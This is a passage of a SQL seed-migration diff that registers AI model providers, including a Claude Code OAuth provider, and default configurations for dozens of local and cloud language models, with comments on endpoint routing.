auth_type=EXCLUDED.auth_type, update_time=EXCLUDED.update_time; + +-- RFC-062: Anthropic Claude Code OAuth provider. Credentials live on local +-- disk (Keychain / ~/.claude/.credentials.JSONB), not in this row. +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, auth_type, create_time, update_time) +VALUES ('anthropic-claude-code', 'Anthropic Claude Code (OAuth)', '', 'ClaudeCodeChatModel', '', 'https://api.anthropic.com', '{}', FALSE, FALSE, FALSE, FALSE, TRUE, FALSE, 'oauth', NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, chat_model=EXCLUDED.chat_model, base_url=EXCLUDED.base_url, auth_type=EXCLUDED.auth_type, update_time=EXCLUDED.update_time; + +-- ==================== Local model pre-configs (Ollama, disabled by default) ==================== +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000300, 'Gemma 3', 'ollama', 'gemma3:latest', 'Google Gemma 3, lightweight and efficient for local inference', 0.7, 4096, 0.8, TRUE, FALSE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time; +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000301, 'Qwen 3', 'ollama', 'qwen3:latest', 'Qwen 3, excellent Chinese language capabilities', 0.7, 4096, 0.8, TRUE, FALSE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time; +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000302, 'Llama 3.1', 'ollama', 'llama3.1:latest', 'Meta Llama 3.1, strong general-purpose model', 0.7, 4096, 0.8, TRUE, FALSE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time; +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000303, 'DeepSeek R1', 'ollama', 'deepseek-r1:latest', 'DeepSeek R1 reasoning model', 0.7, 4096, 0.8, TRUE, FALSE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time; +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000304, 'Mistral', 'ollama', 'mistral:latest', 'Mistral 7B, efficient inference', 0.7, 4096, 0.8, TRUE, FALSE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time; +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000305, 'Gemma 4', 'ollama', 'gemma4:latest', 'Google Gemma 4, next-gen high-performance local model', 0.7, 4096, 0.8, TRUE, FALSE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time; + +-- ==================== Cloud model configurations ==================== +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000001, 'Qwen Plus', 'dashscope', 'qwen-plus', 'Default balanced model for daily Q&A and tool calling.', 0.7, 4096, 0.8, TRUE, TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, enabled=EXCLUDED.enabled, is_default=EXCLUDED.is_default, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000002, 'Qwen Max', 'dashscope', 'qwen-max', 'Stronger reasoning capability for complex tasks.', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, enabled=EXCLUDED.enabled, is_default=EXCLUDED.is_default, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000003, 'Qwen Turbo', 'dashscope', 'qwen-turbo', 'Low-latency model for high-frequency interaction.', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, enabled=EXCLUDED.enabled, is_default=EXCLUDED.is_default, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000004, 'Qwen Coder Plus', 'dashscope', 'qwen-coder-plus', 'Optimized for code generation and interpretation.', 0.2, 8192, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, enabled=EXCLUDED.enabled, is_default=EXCLUDED.is_default, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES +(1000000101, 'Qwen3 Max', 'dashscope', 'qwen3-max', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000102, 'Qwen3 235B A22B Thinking', 'dashscope', 'qwen3-235b-a22b-thinking-2507', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000103, 'DeepSeek-V3.2', 'dashscope', 'deepseek-v3.2', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- Note: dotted Qwen3 versions (qwen3-plus / qwen3.5-plus / qwen3.5-max / qwen3.6-*) only ship on the +-- OpenAI-compatible endpoint. Calling them through DashScope native (text-generation/generation) +-- returns 400 InvalidParameter. They are registered under the dashscope-compat provider, which shares +-- the same sk- key but routes to compatible-mode/v1. +(1000000173, 'Qwen Long', 'dashscope', 'qwen-long', 'Long-context model with extended context support', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000174, 'Qwen Plus (latest)', 'dashscope', 'qwen-plus-latest', 'Latest stable snapshot of Qwen Plus — auto-updates as Bailian rolls new releases', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000175, 'Qwen Max (latest)', 'dashscope', 'qwen-max-latest', 'Latest stable snapshot of Qwen Max — strongest reasoning capability', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000176, 'Qwen Turbo (latest)', 'dashscope', 'qwen-turbo-latest', 'Latest stable snapshot of Qwen Turbo — low latency, high frequency', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- DashScope OpenAI-compat exclusive models (dot-versioned families) — share the same sk- key. +-- Only the -plus variants are seeded; -max / -vl-max are visible in the model market but return +-- 404 for general accounts. Users on a whitelist can add them via Settings → Models manually. +(1000000601, 'Qwen3.6 Plus', 'dashscope-compat', 'qwen3.6-plus', 'Qwen3.6 Plus flagship — balanced reasoning and speed (compat-mode only)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000603, 'Qwen3.5 Plus', 'dashscope-compat', 'qwen3.5-plus', 'Qwen3.5 Plus (compat-mode only)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000605, 'Qwen3 VL Plus', 'dashscope-compat', 'qwen3-vl-plus', 'Qwen3 vision-language Plus — accepts image / video input (compat-mode only)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000104, 'Qwen3.5-122B-A10B', 'modelscope', 'Qwen/Qwen3.5-122B-A10B', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000105, 'GLM-5', 'modelscope', 'ZhipuAI/GLM-5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000106, 'Qwen3.5 Plus', 'aliyun-codingplan', 'qwen3.5-plus', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000107, 'GLM-5', 'aliyun-codingplan', 'glm-5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000108, 'GLM-4.7', 'aliyun-codingplan', 'glm-4.7', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000109, 'MiniMax M2.5', 'aliyun-codingplan', 'MiniMax-M2.5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000110, 'Kimi K2.5', 'aliyun-codingplan', 'kimi-k2.5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000111, 'Qwen3 Max 2026-01-23', 'aliyun-codingplan', 'qwen3-max-2026-01-23', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000112, 'Qwen3 Coder Next', 'aliyun-codingplan', 'qwen3-coder-next', '', 0.2, 8192, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000113, 'Qwen3 Coder Plus', 'aliyun-codingplan', 'qwen3-coder-plus', '', 0.2, 8192, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000162, 'Qwen3.6 Plus', 'aliyun-codingplan', 'qwen3.6-plus', 'Aliyun Coding Plan — Qwen3.6 Plus flagship', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000241, 'Qwen3.6 Plus', 'aliyun-codingplan-intl', 'qwen3.6-plus', 'Aliyun Coding Plan (Intl) — Qwen3.6 Plus flagship', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000242, 'Qwen3.5 Plus', 'aliyun-codingplan-intl', 'qwen3.5-plus', 'Aliyun Coding Plan (Intl) — Qwen3.5 balanced', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000243, 'GLM-5', 'aliyun-codingplan-intl', 'glm-5', 'Aliyun Coding Plan (Intl) — GLM-5 hosted on DashScope', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000244, 'GLM-4.7', 'aliyun-codingplan-intl', 'glm-4.7', 'Aliyun Coding Plan (Intl) — GLM-4.7 hosted on DashScope', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000245, 'MiniMax M2.5', 'aliyun-codingplan-intl', 'MiniMax-M2.5', 'Aliyun Coding Plan (Intl) — MiniMax M2.5 hosted on DashScope', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000246, 'Kimi K2.5', 'aliyun-codingplan-intl', 'kimi-k2.5', 'Aliyun Coding Plan (Intl) — Kimi K2.5 hosted on DashScope', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000247, 'Qwen3 Max 2026-01-23', 'aliyun-codingplan-intl', 'qwen3-max-2026-01-23', 'Aliyun Coding Plan (Intl) — Qwen3 Max pinned snapshot', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000248, 'Qwen3 Coder Next', 'aliyun-codingplan-intl', 'qwen3-coder-next', 'Aliyun Coding Plan (Intl) — Qwen3 Coder Next, agentic coding', 0.2, 8192, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000249, 'Qwen3 Coder Plus', 'aliyun-codingplan-intl', 'qwen3-coder-plus', 'Aliyun Coding Plan (Intl) — Qwen3 Coder Plus, agentic coding', 0.2, 8192, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000400, 'Qwen 3.6 Plus', 'bailian-team', 'qwen3.6-plus', 'Bailian Token Plan — Qwen flagship reasoning model with vision and text generation', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000401, 'DeepSeek V3.2', 'bailian-team', 'deepseek-v3.2', 'Bailian Token Plan — DeepSeek latest reasoning model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000402, 'GLM-5', 'bailian-team', 'glm-5', 'Bailian Token Plan — Zhipu GLM-5 text generation model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000403, 'Qwen Image 2.0', 'bailian-team', 'qwen-image-2.0', 'Bailian Token Plan — Qwen image generation model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000404, 'Qwen Image 2.0 Pro', 'bailian-team', 'qwen-image-2.0-pro', 'Bailian Token Plan — Qwen image generation flagship model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000405, 'Wan 2.7 Image', 'bailian-team', 'wan2.7-image', 'Bailian Token Plan — Wan image generation model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000406, 'Wan 2.7 Image Pro', 'bailian-team', 'wan2.7-image-pro', 'Bailian Token Plan — Wan image generation flagship model', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000407, 'Qwen 3.5 Plus', 'bailian-team', 'qwen3.5-plus', 'Bailian Token Plan — Qwen3.5 balanced flagship, hybrid thinking, 128K context', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000408, 'Qwen 3.5 Flash', 'bailian-team', 'qwen3.5-flash', 'Bailian Token Plan — Qwen3.5 fast variant for high-frequency calls', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000409, 'Qwen3 VL Plus', 'bailian-team', 'qwen3-vl-plus', 'Bailian Token Plan — Qwen3 vision-language flagship, image + video', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000410, 'Qwen3 VL Flash', 'bailian-team', 'qwen3-vl-flash', 'Bailian Token Plan — Qwen3 vision-language fast variant', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000411, 'Qwen3 Coder Plus', 'bailian-team', 'qwen3-coder-plus', 'Bailian Token Plan — Qwen3 coding flagship, agentic code editing & tools', 0.2, 8192, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000412, 'Qwen 3.6 Plus 2026-04-02', 'bailian-team', 'qwen3.6-plus-2026-04-02', 'Bailian Token Plan — pinned snapshot of Qwen 3.6 Plus released 2026-04-02', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000413, 'Qwen 3.6 Max (preview)', 'bailian-team', 'qwen3.6-max-preview', 'Bailian Token Plan — Qwen3.6 Max preview, strongest 3.6 reasoning', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000414, 'Qwen 3.6 Flash', 'bailian-team', 'qwen3.6-flash', 'Bailian Token Plan — Qwen3.6 fast variant, hybrid thinking default-on', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000415, 'Qwen 3.6 Flash 2026-04-16', 'bailian-team', 'qwen3.6-flash-2026-04-16', 'Bailian Token Plan — pinned snapshot of Qwen 3.6 Flash released 2026-04-16', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000416, 'Qwen 3.5 Omni Plus', 'bailian-team', 'qwen3.5-omni-plus', 'Bailian Token Plan — Qwen3.5 omni-modal plus, text + vision + audio in/out', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000114, 'GPT-5.2', 'openai', 'gpt-5.2', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000115, 'GPT-5', 'openai', 'gpt-5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000116, 'GPT-5 Mini', 'openai', 'gpt-5-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000117, 'GPT-5 Nano', 'openai', 'gpt-5-nano', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000118, 'GPT-4.1', 'openai', 'gpt-4.1', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000119, 'GPT-4.1 Mini', 'openai', 'gpt-4.1-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000120, 'GPT-4.1 Nano', 'openai', 'gpt-4.1-nano', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000121, 'o3', 'openai', 'o3', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000122, 'o4-mini', 'openai', 'o4-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000123, 'GPT-4o', 'openai', 'gpt-4o', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000124, 'GPT-4o Mini', 'openai', 'gpt-4o-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000125, 'GPT-5 Chat', 'azure-openai', 'gpt-5-chat', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000126, 'GPT-5 Mini', 'azure-openai', 'gpt-5-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000127, 'GPT-5 Nano', 'azure-openai', 'gpt-5-nano', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000128, 'GPT-4.1', 'azure-openai', 'gpt-4.1', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000129, 'GPT-4.1 Mini', 'azure-openai', 'gpt-4.1-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000130, 'GPT-4.1 Nano', 'azure-openai', 'gpt-4.1-nano', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000131, 'GPT-4o', 'azure-openai', 'gpt-4o', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000132, 'GPT-4o Mini', 'azure-openai', 'gpt-4o-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000133, 'MiniMax M2.5', 'minimax', 'MiniMax-M2.5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000134, 'MiniMax M2.5 Highspeed', 'minimax', 'MiniMax-M2.5-highspeed', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000135, 'MiniMax M2.7', 'minimax', 'MiniMax-M2.7', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000136, 'MiniMax M2.7 Highspeed', 'minimax', 'MiniMax-M2.7-highspeed', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000137, 'MiniMax M2.5', 'minimax-cn', 'MiniMax-M2.5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000138, 'MiniMax M2.5 Highspeed', 'minimax-cn', 'MiniMax-M2.5-highspeed', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000139, 'MiniMax M2.7', 'minimax-cn', 'MiniMax-M2.7', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000140, 'MiniMax M2.7 Highspeed', 'minimax-cn', 'MiniMax-M2.7-highspeed', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000141, 'Kimi K2.5', 'kimi-cn', 'kimi-k2.5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000142, 'Kimi K2 0905 Preview', 'kimi-cn', 'kimi-k2-0905-preview', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000143, 'Kimi K2 0711 Preview', 'kimi-cn', 'kimi-k2-0711-preview', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000144, 'Kimi K2 Turbo Preview', 'kimi-cn', 'kimi-k2-turbo-preview', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000145, 'Kimi K2 Thinking', 'kimi-cn', 'kimi-k2-thinking', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000146, 'Kimi K2 Thinking Turbo', 'kimi-cn', 'kimi-k2-thinking-turbo', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000147, 'Kimi K2.5', 'kimi-intl', 'kimi-k2.5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000148, 'Kimi K2 0905 Preview', 'kimi-intl', 'kimi-k2-0905-preview', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000149, 'Kimi K2 0711 Preview', 'kimi-intl', 'kimi-k2-0711-preview', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000150, 'Kimi K2 Turbo Preview', 'kimi-intl', 'kimi-k2-turbo-preview', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000151, 'Kimi K2 Thinking', 'kimi-intl', 'kimi-k2-thinking', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000152, 'Kimi K2 Thinking Turbo', 'kimi-intl', 'kimi-k2-thinking-turbo', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000153, 'DeepSeek Chat', 'deepseek', 'deepseek-chat', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000154, 'DeepSeek Reasoner', 'deepseek', 'deepseek-reasoner', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- DeepSeek V4 (1M context, native thinking via DeepSeekV4ThinkingDecorator) +(1000000282, 'DeepSeek V4 Flash', 'deepseek', 'deepseek-v4-flash', 'DeepSeek V4 Flash (1M context, reasoning via thinking-enabled mode)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000283, 'DeepSeek V4 Pro', 'deepseek', 'deepseek-v4-pro', 'DeepSeek V4 Pro (1M context, reasoning via thinking-enabled mode)', NULL, 4096, NULL, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000155, 'Gemini 3.1 Pro Preview', 'gemini', 'gemini-3.1-pro-preview', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000156, 'Gemini 3 Flash Preview', 'gemini', 'gemini-3-flash-preview', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000157, 'Gemini 3.1 Flash Lite Preview', 'gemini', 'gemini-3.1-flash-lite-preview', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000158, 'Gemini 2.5 Pro', 'gemini', 'gemini-2.5-pro', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000159, 'Gemini 2.5 Flash', 'gemini', 'gemini-2.5-flash', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000160, 'Gemini 2.5 Flash Lite', 'gemini', 'gemini-2.5-flash-lite', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000161, 'Gemini 2.0 Flash', 'gemini', 'gemini-2.0-flash', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000340, 'Grok 4', 'xai', 'grok-4', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000341, 'Grok 4 Fast', 'xai', 'grok-4-fast', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000342, 'Grok 3', 'xai', 'grok-3', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000343, 'Grok 3 Mini', 'xai', 'grok-3-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000200, 'GPT-5', 'openrouter', 'openai/gpt-5', 'GPT-5 via OpenRouter', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000201, 'Claude Opus 4.6', 'openrouter', 'anthropic/claude-opus-4-6', 'Claude Opus 4.6 via OpenRouter', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000202, 'Claude Sonnet 4.6', 'openrouter', 'anthropic/claude-sonnet-4-6', 'Claude Sonnet 4.6 via OpenRouter', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000203, 'Gemini 2.5 Pro', 'openrouter', 'google/gemini-2.5-pro', 'Gemini 2.5 Pro via OpenRouter', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000204, 'Llama 4 Maverick', 'openrouter', 'meta-llama/llama-4-maverick', 'Llama 4 Maverick via OpenRouter', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000205, 'DeepSeek R1', 'openrouter', 'deepseek/deepseek-r1', 'DeepSeek R1 via OpenRouter', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000206, 'Qwen3.6 Plus (free)', 'openrouter', 'qwen/qwen3.6-plus:free', 'Free Qwen3.6 Plus via OpenRouter (vision)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000207, 'Gemini 2.5 Flash (free)', 'openrouter', 'google/gemini-2.5-flash:free', 'Free Gemini 2.5 Flash via OpenRouter (vision)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000208, 'Llama 4 Maverick (free)', 'openrouter', 'meta-llama/llama-4-maverick:free', 'Free Llama 4 Maverick via OpenRouter (vision)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 